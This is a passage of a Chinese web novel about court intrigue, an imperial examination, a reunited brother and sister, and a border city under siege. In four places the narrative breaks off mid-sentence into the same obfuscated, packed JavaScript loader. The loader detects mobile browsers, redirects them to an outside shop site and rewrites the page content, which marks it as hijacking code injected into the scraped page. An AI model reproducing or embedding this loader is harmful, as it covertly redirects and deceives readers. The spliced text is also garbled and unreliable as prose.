“怎么了?少见表姐这么慌张。”郁恒京手中拿着新烧制的瓷壶,正对着灿烂阳光欣赏,却见季昀慌张进门,扫把都把尘土带进来,细小的粉尘在温暖的阳光下闪烁飞舞,倒有点像蝴蝶的磷粉。 “和尚来了。”季昀将手中的工具扔到墙角,“你应该还记得静斋那个老和尚吧?门外有个小和尚,肯定是他派来的。” 如果不是他,如今她的表妹应该好好地在宫中当快快乐乐的平宁公主。想到这季昀就恨得牙痒痒。 “来就来,难道我们还会怕他一个妖僧?”郁恒京将瓷壶搁在院子里的小石桌上,准备去 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13588166|143167||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 开门,“我还得谢谢他们,不然我和郁恒星还有得斗。” 郁恒星的腿就是在平宁公主失踪那天被人顺手从宫门前的长阶上推下去摔残的。 郁恒京话音刚落,驿站的门就被叩响了,门外传来稚嫩的童声,“魏先生在吗,师父让我给魏先生带封书信。” 郁恒京的其他随从都被他赶去另外的驿站居住,此时魏离在房中休憩,季昀又不肯去开门,只得他自己去。 门口是一个十来岁的小沙弥,见到郁恒京时合手行礼,“请七殿下将书信送予魏先生,师父也让我给殿下带了话,他说‘七殿下应当早些启程’。” “他是什么人,也敢叫我早点启程?”郁恒京弯腰掐了小沙弥的脸蛋一把,接过书信,“告诉你师父,早点歇了不该有的心思。” 他正准备转身,却见一只白皙修长的手从自己身后伸出——是魏离。 魏离将自己上午和清阳公主从后门避开人群出去顺路带的糕点递给小沙弥,“你的。顺便告诉静斋师父,东西我是不会让给他的,让他先想好怎么给我解释东离石碑上有他的名字。” “谢谢哥哥。”小沙弥心满意足地抱着一大包点心,“我一定原原本本地告诉师父。” “回去吧,过会天就黑了,天黑的山路虫蛇不少,小心些。”魏离揉了揉他光秃秃的脑袋,目送他远去。 “你怎么知道他派人来了?”郁恒京皱眉看他。 “我和他约好的,会试放榜那天他会把当年发生的事情原原本本告诉我,当然,我也没蠢到全信他的话。”魏离拿着信就要走,郁恒京伸手就要抢那封信。 魏离转身就抓住他的手将他按在桌子上。 “好姐姐,你就这么看着弟弟被欺负……”郁恒京看向一旁全程观战的季昀,“你不想知道表妹为什么会来到大宁、为什么会变成苏柳玉吗?” “不想。”季昀走过来拍拍他的脸,“真相是什么我不在意,现在我唯一想的就是怎么给表妹报仇。” 魏离放开他,“苏柳玉为什么到大宁来的真相,这么多年你们都没有查明白?” 这是他听过最好听的笑话。 “只有他不知道。”季昀检查了一下郁恒京发红的手腕,“我联合所有人不告诉他。”算是对他骗了她这么多年的报复。 “不过那也不算是真相,因为我觉得祖父和陛下在骗我们。”季昀见郁恒京没有受伤,又走到边上开始浇花。 因为她无法理解是什么样的理由能让崇德帝把自己唯一的女儿送走、把自己的儿子摔残,最后让自己最爱的女人郁郁而终。 12. 第 12 章 一直到殿试结束,苏桓都没再有什么举动,苏延也如意当上榜眼,仅次于魏离之后,探花郎倒是爆冷,是一位江南来的少年,名为即荧,应该是十五六岁的年纪,许是因为营养不良,看起来像十三四岁的小孩,骨瘦伶仃,看起来一阵风都能将他吹倒。 但他在金殿之上对答如流,魏离倒是觉得这个榜眼是他让给苏延的。 因为有他这个前车之鉴。 “魏先生。”即荧走出大殿之后伸手拽住了即将超出他一臂距离的魏离,“等等,先生。” 魏离回头盯着这个比他小了整整一个半头的小探花郎,“怎么了?” 少年的面颊苍白可怜,他从随身带的破布袋里掏出一节碳笔,“先生可以给我签个名吗?” 即荧看了看自己被炭笔染黑的手,将手背在身后,紧张地看向魏离,“不……不行……就……就算了。” “笔给我。”魏离微笑着揉了揉他用水梳过仍旧翘起一个角的头发,从他手中拿起那一小节炭笔。 对于即荧来说已经小了的炭笔,对魏离来说就更加小了,他捏着笔在即荧从怀里掏出的一张素的有些发灰的宣纸上签下自己的名字,“晚上有地方去吗?” 他知道这个孩子,在一众考生中穷的打眼。他从江南徒步跋山涉水到京城参加会试,可能是因为考试前一天刚到京城在乞丐窝里睡了一晚没休息好的缘故,他恰巧挂在榜上的最后一名,差点没能进入殿试。 魏离很早就注意到他了,他实在是太可怜了。 会试的第二天季昀出门替魏离买点心的时候,他正好饿晕在驿站门口,魏离知道是他后将他背到医馆给他留了一份足以撑到殿试日子的银钱就离开了。 少年人还是有自己的自尊和感恩之心的,即荧在被医馆的人救醒之后发现自己身上多出来的银钱,四处打听是谁将他送来的医馆。 但是当时才清晨,也没有什么人和商贩在街上,也就没有人见过离去的魏离。 没想到他能当上探花。魏离将炭笔还给他,“没地方去的话可以先去我家,我之前的院子,不过我现在住在驿站陪周朝的七皇子,很久没回去了,可能会有些尘土,家里的存粮应该是没坏的,你可以当成自己家,不要拘谨。主屋的八仙柜里有几套衣服我还没穿过,你如果来不及买新的可以先穿我的,只是可能会稍微大一点。” 大很多。魏离又重新审视了他的身高,只到他的胸口,好可怜。 “我……”即荧本能地想拒绝,但一见魏离温柔的眼神,拒绝的话怎么也说不出口了。 好像姐姐的眼睛呀……他心下一酸,也不知道姐姐现在在哪里受苦…… 他和姐姐是在江南最大最繁华的画舫上出生的,不过那时的母亲还不是画舫上的商女。 她是为了养活他们心甘情愿走进烟花之地的,在他十岁的时候母亲被当地的富商虐待致死。彼时他正在私塾中被嘲笑是商女之子,连母亲的尸首都没有见到。 很快画舫上就没有他们二人的容身之地了,与他一般大的姐姐只好继承了母亲的琵琶,不过她没有从老鸨手中拿一分钱,她求着老鸨让他读书。 不过,这样苦的日子他们也没能过下去。 画舫上的老鸨不能再养着他读书了。“县令大人说,这样的好面貌,读书可惜了。”老鸨没有直接找上他,先去找的姐姐,“让他走吧。这样的好孩子不能再被糟蹋了。姨也是没办法,这画舫终究还是上头的人在做主。” 他跑了。他本想带着姐姐一起跑,可是姐姐不愿意。 “小荧要好好读书,考上功名后来接姐姐享福。”姐姐把老鸨塞给她的银子全都给了他。 等到他乡试中了解元再回去时,姐姐早就已经被不知名的人买走了…… 魏先生的眼睛真的好像姐姐呀。他一回神,自己已经握着炭笔,亦步亦趋跟在魏先生身后了。 魏先生人真好。即荧盯着眼前高大的背影想着。 ———————— “善心大发啊,魏先生。”郁恒京用扇子戳了戳魏离的肩膀,“听说你今天给新晋的小探花安排了住处?” “不是所有人都像殿下一样,六亲不认,心如铁石。殿下的心肠怕是要拿铁杵才能勉强磨出一点善心碎屑吧。”魏离刚放松下来的心情一下子又烦躁起来,郁恒京到底什么时候走? “怎么,先生在想我什么时候走?”郁恒京将他烧制的第三枚瓷壶放在他的面前,“快了。得等苏桓将找来的美人调教好,那可是我专门为亲爱的哥哥准备的礼物。” “苏家找的江南的扬州瘦马吧,照着苏烟罗找的。明天应该会送来,你可以收拾东西了。”魏离是真的不想理他。 见都不想见他。 季昀也不想。 她安安静静坐在一边看书,也该看一些兵书,会周朝之后祖父是肯定要校考一番的。 “我去收拾东西准备搬回去,你的伤势还在陛下那边挂着重伤的名头,也不能出去游览大宁的大、好、风、光。”魏离将差点被他扫到地上的瓷壶摆到石桌中心,“当心点,别到时候又喊工匠给你垒土窑。” “魏先生这么想离开我吗,这么几个月难道我们没有半分感情吗?”郁恒京将瓷壶推到他手边,“送你的临别礼物。” 这个瓷壶比上次的蓝壶还要小上几圈,青色的冰裂纹上面用朱砂歪歪扭扭地画了个插着一根线的圆。 “画的是……” “橘子。够传神吧,用最简单的方法画出最传神的象物。” “看不出来。”魏离摇头,“那我也送你一个礼物,告诉你一个秘密。” 他慢慢靠近郁恒京的耳畔,“郁恒星没残。” 魏离笑着看郁恒京的眼神慢慢地充满讶异和怒火,“可别告诉他是我告诉你的。” —————— 即荧小心翼翼地推开挂着铜兽首的木门,确实有些日子没人住了,连门槛前的地上都是灰。 虽然不是很大的院子,但这也比他所住过的所有地方好上千百倍。 他从院子里的井中打了好几桶的水把自己从头到脚洗了个遍,犹豫了很久才穿上从柜子里拿出来的新衣服,衣服虽然不是时兴的绫罗料子,但是很大很大,好新、好贵… ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13588167|143167||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' … 魏先生真是个好人,他将魏离的签名放进姐姐给他缝的小荷包里,姐姐也一定会喜欢他的。 等他将自己的破烂衣衫浆洗干净,月亮已经升到正上空了,他认真将整座房子里的东西上的灰尘都擦干净,连灶台都擦得发亮,灶台肚子里的烟火灰烬也掏干净,地板也洗了三遍。 等确认整整座房子干干净净之后,他才开始收拾自己带着的破烂玩意,包袱都是破的,因为来京城的第一个晚上就被乞丐们抢了一遍,不过他没有什么值钱的东西,那群乞丐什么都没拿,反而看他饿的快不行了,分了他半个馊馒头。 这世上还是好人多啊,即荧躺在床上想着,眼前出现姐姐跟自己相似的面容,如果姐姐能在身边就好了,等他当上大官,要大家一起帮忙找姐姐…… 月光倾泻而下,从院子里流到窗前,又从窗前流到房间里,最后停留在他稚嫩消瘦的面庞上。窗前一只乌鸦落下,静静地歪头打量床上安眠的人,确认他睡着之后低叫一声,一只嫩黄色的雀儿从丁香从中跳出来,和乌鸦碰头后一起飞上院子里的桂花树。 漫树桂花金黄灿烂,像即荧的梦境一样美好。 细腻深邃的桂花香气充满了整个院子。 ———— 李瀛正在紧张的行军之中,边塞的金人已经不再只是抢掠些粮食物资了,他们正准备攻下卞城,而城中的主将,也就是他的舅舅柳淮安正因遭奸细投毒危在旦夕。 而准备应战的是他年事已高的外祖父,他没有办法按照与魏离的约定去探寻三处石碑。 原本金人攻城不足为惧,但他的外祖父传信来说,运往卞城粮草从半年前就被人私昧大半,实际上送达卞城的粮草不足原本的四成,柳家数次上书没有回音,甚至连送往他淮阳王府的家书也一封都没有送达。 先前卞城军粮全靠将士们开荒耕种,如今秋收的粮食被铁蹄践踏,根本不足以保证全城将士的温饱。 李瀛如今是心急如焚,只能将事情写下,让乌鸦传信,实在是没有办法了。 希望魏先生不要怪罪。 魏离当然不会怪罪,不过是几块莫名的石碑,哪有满城生死存亡来的重要,也是苦了这只乌鸦,一路加急飞行,差点累瘫在他的窗前。 他提笔写下应对的方法,并另外请李瀛到达卞城后将粮草被私昧的证人秘密送回京城。 深秋的风已经有了凉意,寒气借着月光一并涌入屋内,魏离抓起一件外衣披在身上,仔细思索应该如何处理李瀛那边的事情,不只是金人攻城的事情,金人以往一直只是抢掠些粮食物资,从未大规模攻城或者屠城,但按照李瀛的说法,金人应该已经开始攻城了,甚至还派了奸细混入军中。 绝不可能是金人将领临时起意,必然有人在背后推动,甚至可能就是大宁中人。 他认真捋了一遍整个大宁朝堂的官员,卞城是大宁与金国接壤的险关,目前最希望卞城出事的就是李焕,可李焕真的会以一城沦陷、甚至多城失守的代价来斩断李瀛一条不甚有用的胳膊吗? 这可是他即将接手的国家。 ? 13. 第 13 章 苏家一早就将美人的轿子从驿站后门进去,连轿子都下了血本,漆金的红木轿子上缀着一串串珠链,连门帘帷幕都是一颗颗珍珠串成的。 “苏家可真有钱。”季昀碰了碰轿子边上的玉扣,是好玉。 “先让人下来吧。”赔礼的包装当然不能随便。郁恒京挑开轿帘,向着一片昏暗中伸出手。 没有人回应他。 “空的?”他将整个珠帘掀开,穿着浅粉色锦缎的少女被缚住手脚,绫罗裁成的细绳将手腕稚嫩的皮肤蹭的通红得要滴出血来。 郁恒京扯下塞在她嘴里的帕子,看向她通红的眼睛,满脸泪痕还未完全干涸。 “苏延不是去江南找的商女,怎么看起来像逼良为娼。”季昀看着还未适应眼前光亮的少女,上前去解开她手脚上的束缚。 “求求殿下,让我走之前见见即荧吧。”少女下轿“扑通”一声跪在刚准备回屋拎行李的魏离面前。 “我不是七殿下,七殿下在轿子前面。”魏离将她扶起来,让她坐在院子里的石凳上,伸手挑起她的脸,“即荧的姐妹?” 少女又准备起身下跪,却被魏离按住了,她急的看向轿边的郁恒京,眼中又涌出泪水,“我没有要逃跑,让我见一见即荧,求求殿下了,让我见他一面。” “这就有意思了,苏桓把探花郎的家人送来了。”郁恒京走近二人,“如果魏先生想要帮人帮到底……求求我我也不是不能把美人留下来给你。” “求你?”魏离松开按着少女肩膀的手,“大清早做的白日梦,去睡个回笼觉吧。” “看她哭成这样魏先生都不心疼啊……”郁恒京让季昀下去准备些伤药和吃食,拿了帕子递给还在掉眼泪的少女。 “苏桓应该也没想到随便找的江南女居然会是探花的姐姐。”魏离看季昀端了东西回来,准备离开,“下午我会让即荧来,如果你执意要将她带回大宁,我会让你半年内都没办法回去。” 半年时间,指不定郁恒星都把大皇子斗倒了准备自己当太子了。 “你威胁我?”郁恒京看着他离开的背影气的摔了扇子。 “我一直想知道,你为什么这么迁就魏离。”季昀给少女的伤上了药膏,用手帕包好,接着道,“无论是他对你不敬,还是破坏你的计划,如今威胁你……除了华山上的事情之外,你什么都没做。你什么时候变得这么好脾气了?” “这不是我的好姐姐说不要妨碍魏先生吗?”郁恒京笑了一下,“我还是很听姐姐的话的。” “呵。”季昀冷笑一声,本想骂他两句,转念一想又不对,“你不会是看上魏离了吧?” 一旁的少女颤抖了一下,这是她应该听到的东西吗……他们这么随意地在她身边谈论这些,待会不会是要把她灭口吧? “你疯了?”郁恒京第一次用看疯子的眼神看她。 —————— 即荧跟着魏离来到驿站的时候还不知道会见到自己最想见到的人。 在他看到眼睛通红还未消肿的姐姐时他恨不得给魏离跪下,就是魏离现在让他去死他也愿意。 “小荧!”石桌边上坐着的少女看见从侧门进来的即荧激动地一下跳起来扑到他怀里,“姐姐还以为再也见不到你了。” “姐姐……”即荧的眼中也啜着泪水,紧紧抱住姐姐。 一旁的三人都默契地没有出声,给他们姐弟俩留了点相处的时间。 等到二人平复下心情,魏离才开口,“我的宅子里还有几间空房,姑娘就和即荧一起住下吧,等日后即荧仕途顺畅之后再另寻住处。” “先生叫我即灵就好。”即灵拉着弟弟向他们行了大礼,“谢谢各位大人……” “谢什么谢,我答应你放你留在大宁了吗?”郁恒京没好气地看向一片祥和的三人,“虽然你是顶替的苏烟罗的缺,但归根到底还是因为魏先生不肯跟我走。” “这样吧,你劝服魏先生跟我回周朝做驸马,我就放你跟你弟弟在大宁团聚。”郁恒京看向终于把注意力转移在他身上的魏离。 “脑子不好可以去找大夫好好看看。”魏离睨他一眼,“即灵归我了,这是你欠我的。” 郁恒京拉下一张脸,“让让我吧,你不能让我来大宁一趟什么收获都没有。” 郁恒京长得很英俊,一双凤眼耷拉下来盛满难过和撒娇的样子,倒是别有一番风味。 魏离从怀中掏出一封信,“给你,你不就是想要这一封信吗?” 是那位小沙弥带来的静斋师父的书信。 “行,人归你,信归我。”郁恒京从他修长的手指中抽走书信,“我们明日看过状元游街再启程。见一见魏先生和探花郎马上的风姿。” “信中的消息半真半假,不要着了老和尚的道。”魏离带着两姐弟出门前留下了最后一句话。 —————— 郁恒京在京城最繁华街道边上的茶楼上看街道人如流水的拥挤着,看了约莫半个时辰,状元郎的红绸大马才出现在街上。 魏离身穿状元的大红袍戴着红绸身姿挺拔,端坐在马上向两边的百姓微笑致意。说他的容貌是天下独一份,郁恒京是服气的,他确实没有见过能比得上他的。两边的少女们都急着将自己手中的绢花香囊手帕抛向他,一时间整个街道上都充满了红红绿绿的少女心意。 “魏先生真英俊啊,也不知道他日后会娶什么样的妻子。”郁恒京隔壁桌子上的少女们要不是侍女拦着,几乎都想将身子探出窗外。 “我遇见过魏先生好几次,他好温柔,要是我能嫁给他就好了。” “肯定不会是我们这些小角色。听说陛下已经决定将清阳公主许配给他了,过两天圣旨就下来了。” “我也听说崔尚书想将小孙女许配给他,也不知道谁会抢先。” “我听我宫里当差的姑姑说,周朝派那个七皇子来也是因为大宁的平宁公主喜欢魏先生!” 真吵。要不是这里是最佳的观景位,郁恒京早就换地方了。 那小探花郎倒是真的跟个小豆芽菜杵在马上一样。他看着走在最后的即荧,这个小豆芽菜的名字怎么有点耳熟,他的姐姐叫什么来着? 即这个姓氏并不多见,他所知道的也就只有那一家人,不过应该已经满门横尸,不应该会有子嗣留存。 “大宁之前叫什么来着?” ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13588168|143167||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 他看向目不转睛盯着街上的季昀。 “魏国。”季昀没有分给他一点眼神,“‘泱泱大魏,亡于流言。’书你是一点不读啊。” “大魏的丞相是不是姓即?”郁恒京将手边茶杯里的茶喝了个干净,“我记得,大魏最后一位皇后也姓即。” —————— 即荧脸上因兴奋而扬起的笑容和红晕还没消退,任命诏书就已经到府里了。 虽然他只被封为翰林院的翰林编修,但这也是正经的七品官,他和姐姐再也不用四处流离失所辗转无门了。 而魏离被崔仪保举为正三品的礼部侍郎。 这李焕倒是走了好运道,如今六部有四部都有太子党,也不知道文帝晚上能否安然入睡。魏离给传旨的两位公公都塞了银子,正在两位公公寒暄过后准备离开之时,第三道旨意到了。 “奉天承运,皇帝诏曰: 朕见三品礼部侍郎之魏离,字不归,年十九岁,忠孝两全,文武兼备,乃国家之栋梁,朕之爱卿。朕之爱女之清阳,年十六,容貌端庄,品行高洁,教养优良,亦有闺中之秀风,朕心甚慰。 今观魏离与朕之爱女,二人才德相配,实为天作之合。为成佳人之美,彰显皇家恩泽,朕特赐婚于魏离与清阳公主,令二人结为秦晋之好。 一切婚礼事宜,交由礼部操办,务求吉庆祥和,尽善尽美。择良辰吉日,举行大婚典礼,以昭告天下,咸使闻之。 朕期望魏离与清阳公主婚后能相敬如宾,共谐连理,为国尽忠。同时,亦望尔等能恪守伦常,勤勉持家,以孝悌忠信为本,共同营造和谐之家。 布告中外,咸使闻之。钦此!” “谢陛下隆恩,陛下万岁万岁万万岁!”魏离磕头行礼过后接过明黄色的圣旨,将最后一份赏银塞到宣旨公公手中。 “魏大人好福气。”宣旨的是文帝身边最大的总管公公,黄公公。黄公公掂了掂荷包的重量,满意地对魏离点头,“前途无量啊。”让崔尚书求陛下开先例直任正三品礼部侍郎,应该是最年轻的侍郎了,有一下就有最受宠的清阳公主的青睐,以后魏离只要不出大错,必然扶摇直上啊。 “都是沾的太子殿下的福气。”魏离将黄公公等人送到门外,“公公们慢走。” “先生好厉害。”一上任就是正三品侍郎,正三品应该会分专门的府邸吧,那他和姐姐是要跟着魏先生去新府邸还是留在这呢?即荧脑子里乱糟糟的。 “小荧也不差。”魏离伸手将他早上为了参加游街特地梳整齐的头发揉乱,“你会走的比我远的,吃饭去吧。” 即灵做好了一大桌饭菜在厅堂里,早就把这几年没怎么吃过饱饭的即荧勾的魂都快飘走了。他跑进厅堂,坐下来,即灵将他拿碗筷的手拨开,“要先洗干净手。” 她回头看还在院子里的魏离,“先生,我想请七殿下和季姑娘一起来……”她也知道,郁恒京是好心放她离开的,如果他想,完全可以有许多种方法,自己对付她或让陛下和苏家来对付她,她会连累到魏先生和小荧。 “让小荧去吧,他们应该还在收拾离开的东西,晚一天走应该也不碍事。” ? 14. 第 14 章 边疆战事吃紧,从李瀛私下传来的信件来看,不能说是不乐观了,是完全无法反转的劣势。 在李瀛到达卞城之前,主将柳淮安就不治身亡,年过花甲的柳老将军苦苦支撑,勉强撑到李瀛和物资的支援。 按道理来说无论是李瀛还是柳家都会向京城上书求助,再不济,周边的城池一荣俱荣一损俱损,也不可能坐视卞城苦守。 但魏离在京中,未曾听到过任何关于西北战事的消息。 不说从西北其他地方来的上奏,连卞城的奏报也无。李瀛与他的书信来往倒是有规律的持续着。 但他不能直接告诉太子和文帝,这父子俩如出一辙的多疑。 御下无方、不以黎民为己任,这尊位早晚要让贤。虽然苏柳玉先前与太后娘娘专门处理过民间流言,流言的大方向掌握在皇家手中,但那只能防范有心人的谣言避免前朝的下场,至于民心民愿……根本无法解决。 只能坐视卞城告危吗?魏离烦躁地敲了敲手中新分发下来的墨块。崔仪最近没有给他安排什么实质性的公务,不过节不纳妃,唯一的大事就是他与清阳公主的婚事,但请人算出来的吉日在明年九月,如今整个礼部都很清闲,崔仪只是偶尔遇到些问题来与他探讨,也大多都是探讨些与公务无关的问题。 这礼部侍郎做的倒是跟礼部尚书的幕僚一样。 “魏大人,清阳公主殿下来找您。”门吏的声音从门外传来。 “我马上就去,让殿下稍候。”魏离放下手中的墨块,这大宁如立危墙之下,却没有人知晓。 或许是知道,但是无所谓吧。 —————— 李瀛这头已经焦头烂额,他没有上战场领兵的经验,所有战略都是空想,纸上谈兵,而柳家一脉单传已经只剩下才刚出生的表弟和年事已高的外祖父。 “殿下,金人又来攻城了。”老斥候急促的声音在外面响起。 李瀛将手臂上的伤用布扎紧,提上武器就往外走。 消息一点都传不出去。李焕就这么想把他弄死吗?不惜以金人入关的代价?魏先生会帮忙吗?魏离他有办法吗? 城墙上爬满了金人士兵,他们用的铁索也不知道是什么方法制成的,怎么砍都砍不断。他拉开手上的弓弦瞄准城墙远处的金人将领,据说是金国最小的皇子,一心想建功立业。 手臂上刚止住血的伤口再次崩开,带着血珠的铁箭破空而去。 那人看不清面容,却轻易地将撕碎空气的箭躲了过去,一挥手,又是一波箭雨指向城楼上的士兵。 “援军什么时候会到?”柳老将军手持弓箭站在他身边,又射出一箭。 “快了。”李瀛咽下嘴里咸涩的气味,不会到的,那些书信根本一封都没有传出去,连疏散出去的百姓都没能走出卞城城郊。 李焕,还是你狠。他将离自己最近的一条铁索砍断,从宫中带来的剑已经布满豁口,但军备紧张,别说剑了,他连一把好刀都没能找到。 身边的士兵将藏身的草垛上收集到的箭扯下来再射回去,城中,也已经没有箭了。 天色乌茫茫的,远处的山色都已经变成黑死的颜色,有细小的雨丝落下粘在将士们的伤口上,城中的士卒已经不足百人了。 “城眼看是守不住的,瀛儿带着意儿先走吧。”柳老将军夺过他手中的剑继续砍那些不断被抛上来的铁索,“援军不会来的。”求援的信根本没有送出去,派出去的人也永远留在卞城城郊了。 这是柳家最后的血脉了。 “祖父……我不会走的。我走了,城中会乱的。”连皇子都弃城离开,那城中的百姓和将士又怎么能安心? “那是他们的命,也是我们的命,没有陛下的调令基城、容城是不会调兵帮忙的,而准基王的兵权已经在太子殿下手中……”更不可能来支援,或许太子更希望卞城城破。 柳老将军叹了口气,他一生戎马,到头来连个城都守不住。 天要亡他柳家。 “再守七日,七日后如果事情没有转机,我就去京城负罪上书。我会先让人把表弟和舅母先送出去。”李焕重新搭弓,魏离的信七日内会到。 如果不是魏离这几次指点他攻受之道,卞城早在半个月前就破了。 卞城本就坐拥天然险关,金军背后是传闻中最凶险的峡谷,也被卞城人们称为“鬼门关”,也正是因为鬼门关的凶险,所以没有人能料到金军会从鬼门关来犯,打了个措手不及。 如果能将他们逼入鬼门关那当然就能化解如今的困境,可他们不足百余人,根本无法实施计划。 —————— 送走清阳公主之后,魏离在桂花树正对着的窗台看见了被划伤翅膀的乌鸦奄奄一息,嫩黄色的小雀儿在它身边焦急地跳着,恨不得把窗沿跳塌。 “安静点。”魏离揉了揉它的脑袋,轻轻拆下乌鸦身上的纸条,纸条已经被血液浸湿了,所幸李瀛用的是碳笔,没有被沾花。 卞城危急,先前他所出的主意都只能延缓卞城的消亡,要真正解决这件事就只有求得援兵这一方法。 但求援书信一封都没有到达京城,周边的小城也不愿意将自己的守城兵派出去,万一金军调转矛头,回防是根本来不及的。 只能向西边的守军借,但西边的守军是李焕的人,没有李焕的意思是不会借的。李焕也应该收到西边守军送来的询问信件了,却一点动作也没有。 甚至没有召见他。 魏离思索片刻提笔,写完书信后找出伤药为乌鸦处理伤口,最后把纸条系在小雀儿的身上,“辛苦你了。” 这只雀儿虽然次次跟着乌鸦来回,但这么大的担子放到它头上它还是有点懵。 但魏离也没有时间考虑它能不能送得到李瀛手里,披上外套就出门了。 他匆匆赶往兵部尚书府上,当然,不是去找兵部尚书,本身私吞军备一事上,兵部尚书就未必干净。 他从汪府后墙利落地翻进去,不出意外地落在正在花园里练剑的少年面前。 什么小贼居然敢夜探他汪水铎的院子?汪水铎看见魏离翻身下来的身影就提剑动手,却被魏离轻松躲开,“汪少爷,是我。” “魏先生?”汪水铎借着月光才看清凑近的人脸。 “我收到三殿下的求援信,卞城告急, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13588169|143167||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 即将城破,城内能上战场的不足百人,粮草不足,军备也不足。”魏离将自己重新伪造好的李瀛笔迹递给他,“他让我来向汪大人求援,但怕太子殿下对我和汪大人心生不满,要我将亲笔书信悄悄给你,由你转达。” 汪水铎有一瞬间的怀疑,但汪家站队李瀛应该连李瀛自己都不知道,魏离更不可能知道。因为他家表面上站的是文帝的纯臣,文帝属意李瀛,不过,除非太子殿下对淮阳王下杀手,否则父亲是不会出手相助的。 应该只是形式危急吧。汪水铎接过魏离手中的书信,“可先生不是太子殿下的人吗?” “不归只忠于大宁,大宁的太子是谁,不归就辅佐谁。”魏离的眼睛在月光下闪闪发光,好似整个天幕的星空都被装进他的眼中,“况且这件事关乎大宁的生死存亡,卞城一破,金军铁蹄出入大宁将如入无人之境,这不是一家之难。请汪少爷快些将书信给尚书大人吧。” 说完他又从来时的墙上翻了出去。 魏离身手真好,这墙他爬都很费劲。汪水铎目送他离开之后也不敢再耽搁,立即去了父亲的书房。 文帝果然属意李瀛,从汪水铎的表现来看,他赌对了。魏离从汪家离开之后没有立即回家,躲过守卫出了城,往悬山寺的方向去了。 如果汪家支持李瀛,那悬山寺上那位道长有六成几率也是一样的。 有六成的几率,赌了。魏离在山间小道上狂奔,还好半夜没什么人,不然他辛辛苦苦营造出来的形象就崩塌了。 悬山寺守夜的小道童正困得眼皮都要阖上,却见远处山间石道上有个披头散发的白色人影在接近,下的瞌睡都醒了,张着嘴巴说不出话来。 等到魏离出现在他面前时,他已经被吓得走不动路了。 “清静道长睡下了吗?”魏离伸手扶住即将倒下的小道童,道童没见过他,一时间以为是山间的精怪,说不出话来,只勉强指了个方向。 “多谢。”魏离将他放到边上的椅子上,转身进入寺内。 悬山寺虽然名字是寺院,但其实内在是个道馆。门上精细地雕刻着三清和庄子的画像和语录。 “等你许久了,魏先生。”清静道长正在月下打坐,“贫道早就跟柳妃娘娘说过,让苏柳玉来这当个道姑,凡尘之事留在山下,她就是不愿意,还听静斋那个老秃驴的话。” “既然道长知道我要来,那就肯定知道我为什么来,不必多说其他事情。”魏离看向他,月光洒在老道长银白色的头发上,银闪闪的,竟真有几分世外高人的样子。 “魏先生所求都是小事,但也不是没有代价的。”清静道长面容慈祥,“我要的东西跟静斋那个老秃驴一样。” “成交。”魏离没有迟疑。 天上的月色越来越浅淡,月光越来越朦胧,直到最后彻底被阴云遮蔽,连山间的小路也有些难以分辨。 “要下雨了,送先生把伞。”老道长将一把青黑色的油纸伞递给他。“结个善缘,日后老道如果做了什么让先生不开心的事情,还请先生海涵。” 魏离没有接过那把伞。 下一秒,倾盆的大雨兜头浇来。 ? 15. 第 15 章 魏离淋了一身雨水走回家,他走的急,没来得及带上门,整个屋里一股子水汽,被雨淋湿的窗台上已经只剩下安安静静啄小米的乌鸦了。 也不知道那只笨雀儿能不能独自跋涉那么远,认不认路。 魏离耐心等乌鸦啄完小米后将它捧进屋里,用棉布擦干它身上的水珠,然后才去外面提了几桶水开始处理被淋湿的自己。 会着凉。他一边脱下淋湿的衣物一边想着。 他的体质算不得好,幼时体弱多病,后面习武锻炼才稍微好了些。这一场雨下了一路,从悬山寺到城内,京城的秋雨有种刺骨的寒气,病一场也是意料之中。 他能做的都做了,尽人事听天命。 第二天他带着干涩发痛的喉咙上早朝,头有些发昏,沉沉的像要掉下来。 不过兵部尚书如预料的一样,说是梦见自己的祖父半夜将他敲醒,大骂他食君之禄,不行忠君之事,卞城形式危急他却一点都不知道,他这种人耳不聪、目不明,就该告老还乡到乡下去种地。 